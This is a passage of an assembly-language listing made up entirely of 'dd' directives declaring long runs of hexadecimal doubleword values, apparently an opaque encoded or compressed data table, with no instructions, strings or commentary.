0D0082BC6h dd 576FC7Ch, 7542F1Eh, 0A9E9D88Ah, 0AF7C8C29h, 58E1300Bh dd 8DEE6707h, 0B9FE295Bh, 0F352BF0Bh, 5C93BD65h, 2129BA61h dd 259D68BAh, 0D3018D98h, 5A080084h, 0C25E950h, 278E14D5h dd 9A71F6DEh, 7B41E501h, 0C5D87372h, 0FDA50903h, 0F1A018Ch dd 5ACAC657h, 65FFB359h, 32BDED4Ch, 0A372C9DEh, 0F7B09E44h dd 59991E20h, 0B04B585Bh, 139F5831h, 61614B6Ch, 4900DE5h dd 0D3691182h, 2E9DA4ABh, 10D7ACF3h, 0CFBD07CAh, 5D0B465Bh dd 2FF56C90h, 521A6210h, 0A3C62403h, 425A01ADh, 9777ABB2h dd 7CF8DCD2h, 0FA68F4A8h, 0BA316B4Fh, 5F00D807h, 28143005h dd 28DE616Dh, 5E5A072Dh, 0A8CDAE88h, 0BDD021E8h, 2C3F2BF3h dd 0BF8062BCh, 17184F29h, 0D8FA5C89h, 247DE831h, 0B43C132Bh dd 81B4AEBCh, 89FDB20Bh, 59125F31h, 4A778886h, 11169A28h dd 9E04FA63h, 0F8175015h, 68444E97h, 0EE53D2D0h, 1679CE4Eh dd 2F431EABh, 0D16B8059h, 4BF1A09Fh, 344527CBh, 0EE4183E5h dd 82AA8348h, 68A71D84h, 174D1EB8h, 0BB522D49h, 0F504A624h dd 0B9E58C72h, 2575FA4h, 5BDF87FBh, 0A496DD61h, 632C57ABh dd 86F3310Fh, 299079Ch, 7D46E3EBh, 657D5E38h, 2DCC20EEh dd 5EDA1019h, 0E24E250Bh, 86A05F65h, 7165774h, 0B28ECEDh dd 2644183Fh, 0F81748DAh, 0D9D829FBh, 53919C90h, 76F5BB87h dd 0E43E169h, 0D96E6135h, 0C6584170h, 62BF004Ch, 8CA2E48h dd 8005147Dh, 9580C967h, 0BC0EEB2h, 0E04EB652h, 0BCC097F4h dd 7B59E9CDh, 0DB040B4Ah, 582F5E59h, 0A4B6768h, 0C89882ADh dd 0B8809D9Ch, 0B720129h, 3E0C107h, 45AD025h, 0D5201390h dd 0BD509F51h, 499C6819h, 167AFAF1h, 1075DB2Ch, 0EE58CD56h dd 9F2F101h, 0C6497F96h, 7D8B980h, 0C12842CFh, 0F201B4E2h dd 716D41D0h, 0E425B0E9h, 149F9B3Ah, 2F726852h, 976A415Ah dd 0FF5D177Fh, 8B3FBE29h, 18E6283Eh, 97E31EA1h, 35575EB1h dd 86483BE6h, 2FC3984Fh, 59B7E99Ah, 0C3E9E2B0h, 0D00797F8h dd 0C7F780E7h, 17514E3Eh, 7C90B51Fh, 0F2CAFE17h, 96523E04h dd 0D5CDE1A6h, 1774C92Ch, 0F263E068h, 0C73B166Ah, 0E07B73C9h dd 4001CDA3h, 4729980Ch, 0BD305824h, 2A6341A1h, 0DB8E48C7h dd 0AEC9B003h, 9F33D01h, 4EDF7E92h, 9E49B726h, 0DCB1B07Fh dd 0A43CB9B4h, 9D715A05h, 0D0EF18B5h, 8A99E95Ah, 9F17C49Dh dd 68132A70h, 6C34057Eh, 35E9D620h, 31929F5Bh, 0C46F47C1h dd 609D6282h, 5C3040D9h, 2B0F6965h, 16932A58h, 96540512h dd 0D226AA7Eh, 0BCB90B90h, 0A483DCEAh, 0A150A4E9h, 0EF5A07FEh dd 8A9F93ACh, 82894841h, 0D144BEF3h, 0DD4751E0h, 3A6789A9h dd 0B3532B81h, 0D879EADBh, 0FDBE5E09h, 0AA84EA5h, 0E6202925h dd 40746B2Fh, 0C6C031B0h, 449D11E6h, 5F26F046h, 0DEFCF28Bh dd 4BC9C11Fh, 3E9C5F9Ah, 7F95629Dh, 90971416h, 4AC26899h dd 0A4A1F819h, 0EFE2AC2h, 0AF330417h, 195F8A48h, 592C4C29h dd 601BD38h, 0E92E900Fh, 1D697CB5h, 3FCBEF88h, 0AA96F5B6h dd 0A34EABFAh, 0D4F9C641h, 9C2C6A14h, 17ACBD4Ah, 859DD3DFh dd 6A76E67Bh, 30098407h, 0B7B3C4B5h, 0C8FE42CCh, 0BA1EB260h dd 4CB96AADh, 0D4062357h, 824FE855h, 0DD232B01h, 848E91Dh dd 7865F23Bh, 0D378122Fh, 2FE64B22h, 936F0748h, 0BAB599D7h dd 59D90CB1h, 51AAB07Fh dd 13E3B13Bh, 0DA0304E1h, 10CE309Bh, 137E216Ah, 6D08028Fh dd 0FD311646h, 4B8200BCh, 0D8F77BBDh, 57240h, 297E0C9Dh dd 0D185E9C3h, 0C36AEA9Dh, 0C90C595Ah, 78C6489h, 108B835Ah dd 2ECB9374h, 5A033A5Dh, 0E112E8C1h, 412BE0FBh, 274137A8h dd 438480B2h, 93074B0Ah, 4D373F7h, 9D697105h, 27DAC5Fh dd 2B68EE29h, 61E8DC5Bh, 92525F2Dh, 0A908C61Eh, 0D37E25E5h dd 1A4CD611h, 0FFC62125h, 6CBA5B4Ah, 3D30E917h, 0C7C1A79Fh dd 21183A06h, 0C53F62EFh, 142EA333h, 0D04EDDDCh, 0BCDEB8Ah dd 1320FA2Eh, 8025C34h, 5BD8215Fh, 9FF71B01h, 9BE504Ah dd 1BD55F58h, 0B94E19Dh, 88599087h, 3F01B65Ch, 919C5B4Eh dd 0C6692FE9h, 24A25051h, 0C7F5D38Ah, 0A60CB46Fh, 7EE1103Fh dd 200A682Ah, 5C27B5CDh, 8CA7A231h, 9211CC45h, 9C2397D3h dd 0E12DC434h, 8E6E2AC2h, 0D80D1702h, 0F899631Ah, 4C6F9F16h dd 5101CB09h, 33575DB9h, 0BBA12A61h, 54025ED9h, 90081D5Bh dd 0E5C10C4Ah, 121DC5BEh, 7FFB0267h, 4320EAB5h, 0F6D3BA84h dd 0FF281715h, 8B202C4Fh, 5A1EA09Ah, 1D83CF81h, 836B927Dh dd 0C66F7BF7h, 5C83C6B5h, 1BFEC701h, 0FA31E261h, 0C0032F30h dd 0DECC2CDh, 1761EBFh, 1302949Fh, 0E808ED68h, 7152DE3Eh dd 0FDDFB10h, 0EDC31BEh, 6587A235h, 6EEB7598h, 3240549Ah dd 83A029ADh, 0EDA66708h, 0E1B27C95h, 3A80A2E9h, 405B83CCh dd 3D2A686Dh, 0E9124101h, 914C53F1h, 4FE31014h, 8968A97Bh dd 9935C29h, 0A1F1D388h, 561E0C81h, 43F85808h, 552597D4h dd 0E0C653D1h, 61E5DA95h, 0F9B230AEh, 25A2EE97h, 0CE12924Ah dd 3FB0AF41h, 37E9AB16h, 0DE5FC2E4h, 91EB9871h, 0F56056F5h dd 6B018190h, 5309708Bh, 0FEA586E9h, 5A3DF905h, 0E4541EC7h dd 755F5407h, 58CCD21Fh, 0D65CD57h, 6A24440Bh, 67A0DCC4h dd 1B5B059h, 154203C9h, 0E602E6C1h, 0D954B8A9h, 5371770Eh dd 76BA9205h, 0C3FE6F4h, 423DCC78h, 8803FB40h, 0BBE9A348h dd 0C72526BAh, 0F9DA0BB6h, 29D986F7h, 0B8CC2EB6h, 11E44E23h dd 0C47CB8B0h, 4D0F078Eh, 34DD92DCh, 10C88324h, 7A683609h dd 5D543126h, 8DE059CEh, 3A1102B8h, 732FF204h, 0C94A31BBh dd 0B8B05CDh, 0F7870E48h, 6A6831E9h, 0B2AF304Ah, 90EF0180h dd 425603FBh, 0CF2917EDh, 0B8D04FFh, 0E4875566h, 0AA505404h dd 4F41F9C9h, 5F02434Eh, 0E0171441h, 290A1B69h, 8BA52DEh dd 61E2D696h, 57DEE985h, 0A172ACEEh, 0E23BECA1h, 7D055AB3h dd 53CDEE4Dh, 100CCB3Fh, 4E3E467Dh, 2C9BF602h, 0F680285Eh dd 302A2496h, 48F7013Dh, 208B573h, 0BFCB8195h, 646DE042h dd 8940A60h, 6E06C69Fh, 0B0C6129h, 7D590336h, 9681905Eh dd 896EDFF4h, 61BD5500h, 1422091Fh, 3D87CDC0h, 2FE96D2Dh dd 9AEABB44h, 432659F6h, 5505F010h, 0CD456C68h, 59D020DAh dd 0D81D223Dh, 1AF60166h, 64E97E3Bh, 0D36F2A35h, 7E78B43h dd 104CB60Ch, 0CA444F8h, 5C9A181h, 201787ACh, 6C9A99C3h dd 9D861054h, 8B5E661Ch, 0A0EDE21h, 202FB9EFh, 0D7C98167h dd 0C183E334h, 8E82879h, 0CDFFAE3h, 7ECA130Bh, 0CE29040Dh dd 0BCBE0CE9h, 63ADC4C2h, 0A43F9099h, 0EF4EC1C6h, 0A20F56ACh dd 965F35B7h, 3A61A1B1h, 9BB89D8h, 56F7656h, 0C8F3B705h dd 0BD1EDB66h, 0FDD217FBh, 0E154AAC2h, 307F5B99h, 3A06879h dd 0C1A45B99h, 0E0F2A417h, 90C35F50h, 0B0A4CD7h, 0C916AC3Eh dd 4D12EF13h, 9A1B4C0Fh, 0D68C77ACh, 5A80D684h, 0C8104C34h dd 9584620h, 4F90101Eh, 5A49BB01h, 0EC4B623Ah, 0B5A854ECh dd 0CC90F1F7h, 5C514227h, 414DEE8Ah, 5C48969Bh, 0C1EB74AFh dd 3AFDFB53h, 9512FD24h, 93B4C5ECh, 212F5A7Fh, 2823D859h dd 2030C5D4h, 0E2C5F7BDh, 6EF4ED82h, 0C6510A95h, 0CE4766h dd 3470BE03h, 0BA4B4BE9h, 112162A6h, 7EB9401Ah, 9089ADB7h dd 53BAAADFh, 623006A8h, 0B5C369D1h, 3CA732C2h, 2101D316h dd 78698BF9h, 0FA80E9C4h, 42A98F17h, 77051A9Fh, 615DC077h dd 36960C77h, 310B65B9h, 0D0E9C109h, 414830F0h, 0F7982B9h dd 4F49ABA0h, 91598991h, 0D12B7C50h, 6041C5D4h, 63970929h dd 1EA7421h, 6A657C1Eh, 6A8923E9h, 7C6724A2h, 0BF48B603h dd 811400BFh, 260B35CEh, 3F5D7358h, 0E3F18A8Bh, 0DBB9DEC0h dd 0C7F56F2Eh, 9B145725h, 14B0D15Ch, 846962AEh, 0AC19A096h dd 894D6540h, 84D2F7A0h, 66094BE2h, 0EDCEED2Dh, 0F4C86A1Ch dd 9DAE70D2h, 78F79CF0h, 86CBA142h, 7CC5BF00h, 5E383027h dd 26E0B136h, 0C88003F6h, 98B65201h, 5AF12DBFh, 0B26508F0h dd 37EA6A84h, 0DC2193D4h, 3C23705h, 1B8ED588h, 91E11C1Bh dd 45E3F1B7h, 0E9827E01h, 5CC2CA30h, 0BE68F0F2h, 57198B93h dd 0D5745948h, 0CC6D4BA4h, 649E28DAh, 385EE24Eh, 42AAE27Eh dd 55080911h, 0AF12970Dh, 88D5602Dh, 56C1C902h, 568428Ch dd 66756E5Bh, 0A4E93484h, 5B8BB660h, 0E91513CEh, 96918D55h dd 0D81005B3h, 21BC5E99h, 17532C64h, 7CFC41EBh, 0DB22CC70h dd 713F1CFh, 3BC1D15Ah, 0E5C06707h, 39B55499h, 0E8E6ED96h dd 0F8201701h, 680BBECBh, 0CED91B1Dh, 0C806348Ah, 96978396h dd 7EFB3B62h, 0D55C691Fh, 62516850h, 0B0AC3B07h, 0C0B70F01h dd 0CD6B57F5h, 0FFE2E2C5h, 3B261857h, 0F41CBD82h, 7620B902h dd 40317FCBh, 0C1EB6305h, 52C7F52Bh, 0DEA02AFEh, 0FB1002BEh dd 58C5297Dh, 0F56FE85Dh, 66111828h, 4D512469h, 0F76B7F07h dd 22212DD8h, 4CD430A0h, 0ABA096Fh, 0AC02E883h, 0BA7DC2C3h dd 3253761Fh, 0A5C15D0Ah, 46FA0545h, 97D68273h, 0FFBDEE4Bh dd 0CF73277Bh, 9D607AE8h, 95C9D13Dh, 92FE350h, 41BE0F5Ch dd 390DF42Dh, 0B40B4894h, 0F53E9182h, 0D7CF1Ah, 0B06EEF80h dd 89E91869h, 0F9F78FBDh, 3973F114h, 189725B2h, 316850F1h dd 3855237Ah, 0D1F701A0h, 0DE2363Fh, 20C495D4h, 0DB6812BAh dd 50B53115h, 2610E857h, 5F417A14h, 92EC5E8Ch, 0E8980801h dd 0F1F88905h, 4BF76C50h, 2DE9CDF4h, 2674DA27h, 0C1186BEFh dd 0AC305CFDh, 0DCC6BF0Ah, 0D4455369h, 0AD22A603h, 9BA1B5E8h dd 72885280h, 0ACF55BC6h, 94EF2561h, 2AD89D56h, 5A978E54h dd 39ED832Ch, 7F4E864Fh, 4837E2EDh, 0C1128356h, 555428CEh dd 415BCFF8h, 3E6DB620h, 0ABF1ED7Ah, 0AAC77FD9h, 4817C80Eh dd 2CC11235h, 0F88309DBh, 5749B120h, 41F44CBFh, 502B1A49h dd 0E05B0F6h, 6FE90266h, 0E22B30F1h, 7F688233h, 3A4DDF5Fh dd 0E92606A2h, 0DEAD8858h, 9568780Bh, 29CC3C5Ah, 0A0CD5CBFh dd 685650C0h, 593F4266h, 6E749364h, 798610F4h, 41D5EC5h dd 0CEFC2C31h, 40783CF3h, 927DEC58h, 0EE313986h, 0AB08F534h dd 84B8C313h, 2C41884h, 7D4BDA68h, 0BD25D9EEh, 4FA5641h dd 0F832EE68h, 0C0F4C4A4h, 0DCE00012h, 4A2D2175h, 42DAF71Fh dd 7D6B5DCCh, 3F5397CFh, 0F6A2B209h, 0A1575ADEh, 120D68EBh dd 0BF013555h, 629B036Eh, 8035C92Fh, 4460C39Ch, 90EB090Ch dd 9DCF5E02h, 209B80Eh, 735DDF05h, 388F712h, 0B4591207h dd 1A5B2C32h, 49F3EB0Dh, 0DFBCF23Ah, 1E3C71CDh, 10ACF67Eh dd 881D6C32h, 0B453D3E2h, 6D637FC3h, 4AFACB8Bh, 0A205FB9Fh dd 91AEC681h, 385BE956h, 504B582Ah, 78107774h, 10447E2h dd 0C0238046h, 0E04CC1B3h, 257AEDFFh, 79F27B36h, 799AE8D3h dd 0FC6FE80h, 805FB151h dd 0C92D7C7Fh, 7EF4B389h, 12413E1Dh, 0C1307934h, 0CED158E9h dd 0A9122C3Fh, 0EDEC9A41h, 1F1B1636h, 0A3030725h, 6D8B1972h dd 2BF2025Fh, 596601C1h, 4DA12E88h, 756A46F9h, 0E353ABCEh dd 5A26ABA9h, 12C980B6h, 60BA20EBh, 0FB68FC02h, 4B5EF201h dd 7511A0E3h, 0C5EA0481h, 0AA422752h, 2608E250h, 8410F85Fh dd 1C1EFC4Fh, 32FB1AE6h, 0D10645h, 7075E9E4h, 85413DB4h dd 0F32F64E2h, 25F29363h, 0E6C988C5h, 20DD48E2h, 4BD4FE32h dd 0E1108977h, 5B1D24E3h, 3B4D92A0h, 2E627AB4h, 77450F67h dd 6BEAE728h, 70AEFE7Ch, 2584BE56h, 0FA8919E9h, 7B9595F0h dd 0E644A75Ah, 0B450C3C0h, 0C6E68863h, 878AE96Bh, 4C3C31BEh dd 13A84A44h, 351011A2h, 0E300824Fh, 0BB22553h, 6B87295Eh dd 1F7DB910h, 31752F06h, 845D8BA4h, 2D0C1E19h, 0F7970CD6h dd 0A945B4E1h, 0C17074EEh, 4B7CB02h, 0ADE283BBh, 76E236C9h dd 7FAB806Bh, 0FBE93633h, 0BACE003Bh, 55120FD6h, 8CDC2169h dd 818212DFh, 846F79F8h, 0E4128195h, 0F5F45110h, 0BE317F4Eh dd 2901AB59h, 2E4731D3h, 0E8AC0D53h, 0DF68E24Eh, 62D6CA25h dd 0A8E2561Bh, 0A6F04E56h, 7E751607h, 97C039ACh, 0E93C2E3Ah dd 98B89427h, 4EEB8883h, 6F96C78Ah, 0BEE90878h, 77C1D76Bh dd 0C581BC30h, 6148EA97h, 0C3A8DBA0h, 0CE0126D2h, 6102CBD5h dd 89D46725h, 0DB17C55Bh, 0BBE96D80h, 4B129E63h, 0D27DEB49h dd 0E0519B74h, 0AC4B856Dh, 0E9E95B89h, 0E263F85Bh, 0EACFD8ABh dd 24395DB5h, 9926454Bh, 20E9D9CEh, 2EF9B97Ah, 2D7EE08Eh dd 0D69C8DD3h, 0A0F7D6FDh, 6294EA74h, 0BC524BDAh, 0E22473A2h dd 0D513D808h, 0B6C0F7E8h, 16B6819h, 3786DF58h, 0A6629FA8h dd 0F2879B4Ch, 0BEFC48FEh, 1D6C13A4h, 12CDAD26h, 358D643Eh dd 21ACA76Fh, 0FF361AA3h, 2C266FDAh, 2053A7FAh, 0BD049D7Ah dd 0AC6251Bh, 0C52CA4AFh, 68D9A19Dh, 212E093Bh, 2D9D681h dd 0E89285ACh, 0BCE3A037h, 0A26960CBh, 3A5F79A0h, 8008589Fh dd 4814E907h, 0BDEDE6Ch, 0D21063E7h, 7A2D230Ah, 6121C22Eh dd 0E6D0A861h, 3F05E248h, 0D42F19E7h, 0EEE6B9D8h, 10A41BB7h dd 13F227EAh, 8463595Ah, 0B35398B5h, 0D5E92F9Eh, 2A855563h dd 44A2B001h, 9E061812h, 8CA80880h, 80356780h, 117C90DAh dd 31CE2D20h, 56189F8Bh, 0CC088C5Dh, 40F918E5h, 8140A71Fh dd 1729C43Ah, 34D81D4Ch, 806C0A08h, 2807204h, 1640C4B2h dd 7735065Ah, 0F6E63110h, 88431708h, 88B3718h, 0B5187CE7h dd 0CEAE2061h, 838AC10h, 18C62232h, 62C1914Ah, 0A0310878h dd 737D9C03h, 14624028h, 6CAB8640h, 9DF9919Ah, 83083162h dd 6E050317h, 40B4D131h, 888E387h, 58159765h, 5A571094h dd 8E3843Eh, 38192C45h, 8F089344h, 739A02F6h, 3857702h dd 813108CBh, 796C38FCh, 956FB301h, 10989010h, 0F91857A7h dd 8B9508D2h, 52C718C6h, 0EB4D3108h, 95DEB318h, 10CC4408h dd 3C108E1Ch, 0E60A195Fh, 79882C20h, 170C753Eh, 40ED0853h dd 41C64CD1h, 20106319h, 93209DCFh, 0B68631C8h, 882B8E08h dd 1FDC7D18h, 6F206074h, 0D3EE2056h, 100DC831h, 8801E871h dd 89250196h, 6CD60888h, 183A3408h, 4CCC4129h, 801EEE80h dd 37808BACh, 3C08C97Ah, 44506025h, 69853DCh, 202096A0h dd 5E20335Dh, 720B319Bh, 32A5B18h, 0EA49106Eh, 0E4372A23h dd 0E1E98A62h, 26A0271h, 829EC0Fh, 18A76651h, 0A8332959h dd 187AE118h, 18CC9008h, 8C6C907h, 54189956h, 406FD068h dd 0F7632875h, 2ADD1B10h, 20CCF608h, 76205093h, 0A84C20BDh dd 8CB0431h, 5102C3FBh, 6A9AA8A3h, 5CDB0824h, 10C7ED8Ch dd 0F13F4147h, 0AF950192h, 19A08190h, 21085C34h, 44D91992h dd 0A7C0304h, 2F8CF48Eh, 63CD08C0h, 57FF3048h, 0E9B00812h dd 98F18C58h, 0C6C49290h, 10600219h, 19F18E62h, 642503E6h dd 51B61018h, 0C4A4BF08h, 4100918h, 0B7091FEAh, 86240822h dd 493BBE02h, 79017118h, 1AA90358h, 7145D931h, 248F1049h dd 586241C0h, 2159710h, 0E503D03Bh, 8D592065h, 9979AB32h dd 0FD710395h, 790E149h, 0E8FC9C60h, 457F109h, 0D34AF5EFh dd 23C7C793h, 1000480Dh, 752C473Bh, 6313EB02h, 0A7B90E89h dd 5003D7Ah, 408F4401h, 0BC90B49h, 748BF775h, 0DE81AF0Eh dd 2EB9F003h, 0C033EE47h, 4FB10F80h, 0AC2CC030h, 6EE99204h dd 2DA2FA4Ah, 2CDE312Ch, 692D00E6h, 0A4E9E43Ah, 57484662h dd 5F288BBFh, 51350A80h, 785B9FA6h, 5672F9F1h, 68794196h dd 747DF95Bh, 317772D7h, 162D11B8h, 0A5AB73E1h, 0AB08C9D9h dd 685A02FFh, 2D747C71h, 8580C967h, 6152E936h, 0FE2D9634h dd 0DD62E560h, 0A8A23AC3h, 5339EBC0h, 22C541FBh, 0A74B3FE9h dd 0D4105789h, 4EC0215Eh, 6058AABEh, 6746F46Fh, 62541447h dd 0B7D66ECBh, 0C3CCFF96h, 0B9510250h, 463E4372h, 0E9043E74h dd 0F4F4F2DDh, 0CCA62BBh, 238BC268h, 539F10FEh, 964209FDh dd 77A37F10h, 784F25BDh, 0BC2BE329h, 176882A3h, 7DE65D26h dd 222388C1h, 253B3F82h, 9A8EEED8h, 39511440h, 5892D189h dd 7D16D859h, 0B82EDD60h, 1C35B23h, 79FD355Ch, 0E32D576Dh dd 0E8706BB9h, 0E127533Bh, 0A6DD016h, 725C41DBh, 0B56878C6h dd 1CA8444Fh, 0CCD301B4h, 3B516E0Bh, 80488B5h, 21FF8BFBh dd 2458281Ch, 16965101h, 6884D8C3h, 0A547EB2Dh, 0AB0B1A80h dd 1EFED64Dh, 0A8E5092Ah, 40F76C62h, 0CE6521DEh, 0C6E4D926h dd 1561AFF9h, 4D8C0952h, 0E5B71242h, 0A77FD13h, 7200E385h dd 87E93D6Ah, 0B422C7D0h, 0EB6C7E22h, 0C3A684Dh, 5EEE4A5Ah dd 98235ACDh, 5127A4FEh, 22E96285h, 67BFE4D0h, 438018F7h dd 5D18EA89h, 6458CA29h, 7D48BFB3h, 59627C04h, 0C7AEF16h dd 15E34038h, 48B48244h, 907F5B0Bh, 3FEFC1E0h, 0EE904704h dd 702925C7h, 747C0280h, 0D687679Ch, 997E60F7h, 5FEF3083h dd 0A27958A6h, 0BCE5154Fh, 0B8210805h, 84C370D1h, 12FF8AABh dd 84B91C89h, 4E4CE9A0h, 0F15A0AC9h, 1418BE77h, 685818D6h dd 46104F27h, 0DB5624B0h, 0F00162A0h, 0EF37764Eh, 6D52FA44h dd 838ADCFDh, 25371A82h, 4DE5DC1Dh, 14006792h, 5D195BB2h dd 1080E349h, 0C8E5A84Ah, 5967CF09h, 1FF7CA2Eh, 16AB522Bh dd 0FA7342FBh, 28A1B301h, 3DEC647Dh, 49EB9145h, 0FAF349C3h dd 569CEABCh, 25683A52h, 0C4C8AB2Fh, 5527E956h, 0F4FE82Fh dd 768C3D4Ah, 2D6C9290h, 4C53B159h, 0E16B0B25h, 55323B22h dd 0BA816851h, 0E61D1414h, 3702F313h, 56576355h, 4972AB81h dd 0EC287E6Bh, 5EF22531h, 22C0EADEh, 1670B560h, 0ADE9D629h dd 535C00DCh, 4EEDBE56h, 0E1A48ECh, 13B11404h, 4B70ACE5h dd 680C0FB8h, 9D9B3DB7h, 39804140h, 0EF9E4ACFh, 278DDD2Fh dd 7CC98679h, 97FF485Dh, 29A7F083h, 0A98A7FEDh, 5A7EA34Ah dd 38F6BA4h, 68487467h, 87136305h, 5520EAC3h, 5A9C1D8Ch dd 0D65CD2B3h, 70154745h, 98A04FEEh, 60BD3805h, 0D814A858h dd 0EE7C072Dh, 44B83A22h, 0E230578Bh, 0BFAE1E02h, 43C68001h dd 0F673F6CCh, 7A5E4117h, 5FC13E82h, 6E72E118h, 46716D05h dd 90BFE6D1h, 0D45CA1A8h, 0A6E95D09h, 0D132A53Fh, 0CB78C6EEh dd 1F29ED48h, 0EED302F2h, 0A1E4AADDh, 6A3C2518h, 80308DDh dd 0E9267720h, 309D7426h, 9E5F903Bh, 4D18F24Ch, 97C34990h dd 3B361313h, 0EB730AFEh dd 24283708h, 0F83BD537h, 0E0332F0Ch, 261A2D55h, 5F1F96Ch dd 4D75CB8h, 5FA7D83h, 88BAEB83h, 0F5409CE8h, 84000BFh dd 0CF812CB7h, 31D50EAh, 0F7C04701h, 43D7285Eh, 0E1B125E9h dd 0FC061677h, 55DCAA88h, 690C271h, 14DCBD03h, 3CD30E59h dd 0F180730Fh, 8AD009D8h, 8249E6C2h, 0E44DF0FBh, 0B5A92001h dd 0A5015A2Ah, 219D8FA4h, 3EC7E95Fh, 0EEC14286h, 0F00F2408h dd 0C430B85Ch, 88AEC374h, 8C796814h, 0DC699B9Fh, 0ECF18AD4h dd 8470A33Ah, 65B8F8B5h, 2D09F8B4h, 4C681A31h, 201C9A8Fh dd 0E095E58Dh, 1D40F1B8h, 814C5575h, 20652FC9h, 14B43068h dd 79FE5B80h, 1463D3C7h, 8A31C942h, 20545506h, 0BF484E4Ah dd 33E38143h, 34EC5786h, 0AA16D652h, 459C1B71h, 0C6C88F44h dd 67575442h, 4B6B33E9h, 0E8B25020h, 212D4E5Ch, 6AE56826h dd 60671748h, 27F57D6Eh, 0CE984D44h, 0B878C501h, 9E9AAC2h dd 944F2E6h, 353119F8h, 0DF68906h, 5D5A89B5h, 29A3A699h dd 0D682770Ch, 0E01353D2h, 74BB06D4h, 0E915715Dh, 352DEFC0h dd 4AA0E653h, 3E21F189h, 0EEA4E0E2h, 0C3EF7584h, 3FCE1656h dd 996E150h, 0B2595881h, 51055568h, 0BF1D37E9h, 5A6885CCh dd 9374E3B3h, 0B96E22BEh, 52936801h, 0D3D1B27Ah, 20C869BEh dd 90C90C96h, 55C05F5Fh, 659DEEE2h, 7CE94175h, 108A32DDh dd 4F50E69Ah, 0A8604F04h, 59CB12BAh, 5484DBADh, 4CDFFE5Ah dd 1220E058h, 16C8302Eh, 4A8C7CE2h, 0FE645F2Fh, 44D35F6h dd 3CE44CB1h, 4C9C5AD9h, 12B80250h, 5298374h, 2DFD840h dd 2E0525EAh, 97E94A62h, 52010BBFh, 9FCC0871h, 258212E9h dd 1FC8EE01h, 0E8C24E41h, 0C6E3E792h, 351C0550h, 0C1CA0CA3h dd 0A0FD113Dh, 5D0AE0A1h, 8C234E32h, 0E0BD07A0h, 2490C5DAh dd 27E70CFh, 2A16773Ch, 88207C4h, 3889967Fh, 3917692Dh dd 4009F81Eh, 0D826E907h, 30428CEDh, 0A180076Fh, 2AEA0861h dd 43F434F8h, 2E66E982h, 0DE29FE1Dh, 0E07D7CDh, 8BE5407Eh dd 8991C948h, 0E7C2EF60h, 14D1B78h, 4CBB5320h, 600A7235h dd 0CE000B42h, 0DF29F27Bh, 928459E9h, 2FE02061h, 1E4D01F4h dd 0FFE3295Fh, 5E6D08h, 6615B1B8h, 0F2B7893Ah, 26FC3596h dd 4444BE8Ch, 3D587F70h, 0FD828BCEh, 307E1AE1h, 4C63D056h dd 809F2C34h, 0C3B753F0h, 5A5BF80Ah, 0C7DC8DAh, 48384EE0h dd 446B76E9h, 0EE261A78h, 0A6BEFC78h, 0BD81F076h, 63D61E38h dd 0F04AAB78h, 711D0ABDh, 28BC015Ch, 42CE08C7h, 1B51AE1h dd 7CAF68BCh, 1D038051h, 0EEEE6A24h, 3B3441FAh, 5A11C10h dd 77145E64h, 0C329C2EEh, 1E5A0886h, 0DA4E8B07h, 82D90132h dd 240592Bh, 9F560EB3h, 218D748Bh, 5053D02Bh, 0D73A58E9h dd 6AD689FCh, 48315B51h, 6642DF9h, 62BA832Ch, 2C1B561Ah dd 6AE9C165h, 0AC902BA5h, 12B470A3h, 80CD2141h, 407E80D7h dd 1EAB144Bh, 0DE66E72Fh, 0FC6242A1h, 0AB76C3Eh, 1A30A2FDh dd 3C005ADh, 2D1A4446h, 2C9A63BBh, 4C7FF1E2h, 610D82DBh dd 0CACED0FFh, 81FB5581h, 0D1010D6Dh, 0EEB0103Dh, 3F4E9430h dd 2B0B9A4Ah, 5955950h, 0B82BAFE9h, 5F37DC17h, 0D91089DFh dd 23A88A4h, 0EAF2A0B5h, 0AFBD55C4h, 2814D3CCh, 78E6735Bh dd 845E5EAh, 0A35BBCE9h, 2570D473h, 0B0BFE4AAh, 2F922725h dd 0F5627F74h, 0E7C00195h, 3069E08h, 0AD7786CBh, 84239804h dd 14F15C8Bh, 254AE941h, 2ADE2AA7h, 8DC655C9h, 0EBD6D39Dh dd 0B94C9822h, 3FF4C757h, 0CA54BA3Dh, 88E0FF2h, 56F0AA7h dd 6849C872h, 7B4DC52Fh, 167D490Ah, 0FFE7BFDCh, 5B30D4ADh dd 0B252A901h, 0ABF28039h, 0CA43C07Fh, 66E6FE36h, 7E14E5FDh dd 0F21698B3h, 0B13B974Ch, 0EC433C44h, 0CEC931C8h, 7088C45Ah dd 9B2EE137h, 692C2DA9h, 0B26B5D21h, 0E0CC92F7h, 17284FE9h dd 94DBF9A6h, 0C118105Bh, 764C680Bh, 383207F3h, 9FAC5E2h dd 3268FA86h, 58806D1Bh, 5F8DC257h, 2140EFC1h, 0BF807287h dd 0D755394Ch, 0B8090758h, 33F0D009h, 1E23660Bh, 3C1ADF60h dd 0E49360F5h, 49CD9CD8h, 0F1DF9BD5h, 9C29676Fh, 0B97F5F25h dd 10D35C07h, 268F22F7h, 0DF0C8052h, 2F43CD96h, 0D6DB42h dd 0DDFC1B16h, 3075EBD7h, 0E55B244Fh, 0E3217BF8h, 0BA00A932h dd 5242D42h, 19011956h, 31C6914Ch, 0F54C807Ah, 4295044Dh dd 6B7C5934h, 57025400h, 753BCCBFh, 0F9291325h, 308C2DEBh dd 33255385h, 9D85871h, 0BEB718C2h, 3865F381h, 6A5DCEECh dd 59080538h, 688728EBh, 18E31152h, 0E0876062h, 9FD4C908h dd 246FCC7Ch, 9F8C35FBh, 6790F68h, 37A57E36h, 0DBFA9318h dd 23858406h, 9806BA0h, 0F3834224h, 0A80BB05Ch, 630F5459h dd 1003A1F1h, 0CF5EBDBBh, 4FF0A02Ch, 2D157F1Ah, 0A1E4455Ch dd 0F030405h, 0A6B52E89h, 0C4944F1h, 9C41E273h, 84498A3Eh dd 1CD01E53h, 517CC3F6h, 0E02BCF48h, 28627919h, 65D0211Ch dd 0C44AFC9h, 4DE7E917h, 120124C8h, 0BD665E46h, 0FFC1610h dd 6C0BDB56h, 2E2C276h, 0BFD85A9h, 0C1EEE025h, 3851B761h dd 0E5129FE7h, 25857C37h, 4E87984Bh, 6070FCCAh, 0A2CDE321h dd 2F24853Ch, 0B9073C4Dh, 767BFD3Fh, 0EDE90606h, 96BA8435h dd 3BC36230h, 2DCDFBC1h, 8676F593h, 0C4224D40h, 1E2FE3Dh dd 77216FC7h, 697D34E9h, 7F9655FBh, 8D85BFB3h, 3261AAF3h dd 3C126BBFh, 0E995A2DDh, 0B5825845h, 7235F4F0h, 0E1F90E3Ah dd 9C082065h, 0FD272924h, 0E0E9545Fh, 48C9CD95h, 4246FE95h dd 